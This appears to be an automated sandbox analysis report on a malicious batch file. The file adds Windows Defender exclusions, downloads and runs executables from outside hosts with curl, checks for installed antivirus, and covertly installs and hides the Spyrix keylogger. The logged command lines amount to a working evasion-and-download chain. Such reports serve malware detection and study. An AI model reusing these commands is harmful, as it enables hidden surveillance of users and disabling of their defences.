WJy'

Source: classification engine

Classification label: mal100.troj.evad.winBAT@190/1078@15/9

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 67_2_00D2A2A0 GetLastError,_errno,strncpy,FormatMessageA,strrchr,strrchr,_errno,_errno,GetLastError,SetLastError,

67_2_00D2A2A0

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe

Code function: 53_2_033C7898 GetDiskFreeSpaceA,

53_2_033C7898

Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\qrl.exe

Code function: 67_2_00D13700 memset,GetLastError,CreateToolhelp32Snapshot,GetLastError,Module32First,Module32Next,CloseHandle,

67_2_00D13700

Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\[space]= .exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8012:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5672:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7980:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8024:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2200:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5196:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7344:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7180:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7212:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7808:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8120:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5216:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7312:120:WilError_03

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\181531736511434

Jump to behavior

Source: Yara match	File source: 73.0.spmm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000049.00000000.2712353086.0000000000401000.00000020.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000035.00000003.2550383526.00000000044A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000035.00000002.2923493069.0000000000401000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\is-3JAMQ.tmp, type: DROPPED

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\c5WMpr1cOc.bat" "

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"

Source: C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "cmd.exe" OR Caption = "wlg.exe" OR Caption = "spmm.exe" OR Caption = "spkl.exe" OR Caption = "spm.exe" OR Caption = "sem.exe" OR Caption = "clv.exe" OR Caption = "akl.exe" OR Caption = "sps.exe" OR Caption = "sime64.exe" OR Caption = "ff.exe" OR Caption = "mrec.exe" OR Caption = "clvhost.exe" OR Caption = "ffws.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SPMM.EXE'
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "cmd.exe" OR Caption = "wlg.exe" OR Caption = "spmm.exe" OR Caption = "spkl.exe" OR Caption = "spm.exe" OR Caption = "sem.exe" OR Caption = "clv.exe" OR Caption = "akl.exe" OR Caption = "sps.exe" OR Caption = "sime64.exe" OR Caption = "ff.exe" OR Caption = "mrec.exe" OR Caption = "clvhost.exe" OR Caption = "ffws.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SPS.EXE'
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SPM.EXE'
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SEM.EXE'
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'SPKL.EXE'
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'CLV.EXE'

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\reg.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: spmm.exe, 00000049.00000002.2933025552.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: spmm.exe, 00000049.00000002.2933025552.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: spmm.exe, 00000049.00000002.2933025552.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: spmm.exe, 00000049.00000002.2933025552.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: spmm.exe, 00000049.00000002.2933025552.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: spmm.exe, 00000049.00000002.2933025552.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: spmm.exe, 00000049.00000002.2933025552.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: spmm.exe, 00000049.00000002.2933025552.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: spmm.exe, 00000049.00000002.2933025552.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: spkl.exe, 00000035.00000002.2984780387.0000000007DBC000.00000004.00000020.00020000.00000000.sdmp, spkl.exe, 00000035.00000002.2980946676.0000000006C06000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE if not exists `wlog` (`id` INTEGER PRIMARY KEY AUTOINCREMENT,`sTime`TEXT,`sJSon`TEXT);
Source: spmm.exe, 00000049.00000002.2933025552.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: spmm.exe, 00000049.00000002.2933025552.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: spmm.exe, 00000049.00000002.2933025552.0000000061E8A000.00000002.00000001.01000000.00000015.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: c5WMpr1cOc.bat	Virustotal: Detection: 19%
Source: c5WMpr1cOc.bat	ReversingLabs: Detection: 26%

Source: spkl.exe	String found in binary or memory: NATS-SEFI-ADD
Source: spkl.exe	String found in binary or memory: NATS-DANO-ADD
Source: spkl.exe	String found in binary or memory: JIS_C6229-1984-b-add
Source: spkl.exe	String found in binary or memory: jp-ocr-b-add
Source: spkl.exe	String found in binary or memory: JIS_C6229-1984-hand-add
Source: spkl.exe	String found in binary or memory: jp-ocr-hand-add
Source: spkl.exe	String found in binary or memory: ISO_6937-2-add
Source: qrl.exe	String found in binary or memory: id-cmc-addExtensions
Source: qrl.exe	String found in binary or memory: t xml:space=.gif" border="0"</body> </html> overflow:hidden;img src="http://addEventListenerresponsible for s.js"></script> /favicon.ico" />operating system" style="width:1target="_blank">State Universitytext-align:left; document.write(, including the around t
Source: qrl.exe	String found in binary or memory: Unable to complete request for channel-process-startup
Source: qrl.exe	String found in binary or memory: set-addPolicy
Source: qrl.exe	String found in binary or memory: dns-ipv6-addr
Source: qrl.exe	String found in binary or memory: dns-ipv4-addr
Source: qrl.exe	String found in binary or memory: false-start
Source: qrl.exe	String found in binary or memory: --dns-ipv4-addr <address>
Source: qrl.exe	String found in binary or memory: --dns-ipv6-addr <address>
Source: qrl.exe	String found in binary or memory: --false-start
Source: qrl.exe	String found in binary or memory: -h, --help
Source: qrl.exe	String found in binary or memory: -h, --help
Source: qrl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: qrl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: qrl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information
Source: qrl.exe	String found in binary or memory: curl: try 'curl --help' or 'curl --manual' for more information

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\c5WMpr1cOc.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg query "HKU\S-1-5-19\Environment"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\181531736511434'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl.exe --insecure -o "C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe" https://filedn.com/lHeD6Etwo8g0FE5cMVwEMkH/56ysdvbdckuh27dqLygst354csjnd/404
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe "C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\AppData\Local\Temp\181531736511434\[space]= .exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\\eb90c874-90f1-477e-bf8d-92cb4599bdb5.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg query "HKU\S-1-5-19\Environment"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath "'C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5'"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\l" https://cdnbaynet.com/loader/link.php?prg_id=sfk
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl.exe --insecure --user-agent "sfk-dst-loader-2.0" -o "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe" https://swtb-download.spyrix-sfk.com/download/sfk/sfk_setup.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Remove-MpPreference -exclusionPath "C:\Users\user\AppData\Local\Temp\181531736511434"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe "C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe"
Source: C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe	Process created: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp "C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp" /SL5="$30454,32862490,227328,C:\Users\user\AppData\Local\Temp\eb90c874-90f1-477e-bf8d-92cb4599bdb5\[space]= .exe"
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\d.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\d.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c "wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /value
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex.cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex" /y
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\pswd.cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess '[space]= .*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\*'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -exclusionPath 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\sps.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-mpPreference -ExclusionProcess 'C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spmm.exe'
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex.cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg export "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" "C:\Users\user\AppData\Local\Temp\is-SI68G.tmp\ex" /y
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\taskkill.exe "C:\Windows\system32\taskkill.exe" /IM cmd.exe /IM wlg.exe /IM spmm.exe /IM spkl.exe /IM spm.exe /IM sem.exe /IM clv.exe /IM akl.exe /IM sps.exe /IM sime64.exe /IM ff.exe /IM mrec.exe /IM clvhost.exe /IM ffws.exe /F
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\regedit.exe "regedit.exe" /e "C:\ProgramData\Spyrix Free Keylogger\temp\reg\info.uid" "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1"
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\reg.exe "reg.exe" delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Spyrix Free Keylogger_is1" /f
Source: C:\Windows\SysWOW64\reg.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe"
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\plist.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c plist.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 20
Source: C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\dashboard.cmd" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 6
Source: C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\spkl.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c netstat.exe -e > "C:\Users\user\AppData\Local\Temp\nse"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat.exe -e
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://dashboard.spyrix.com/
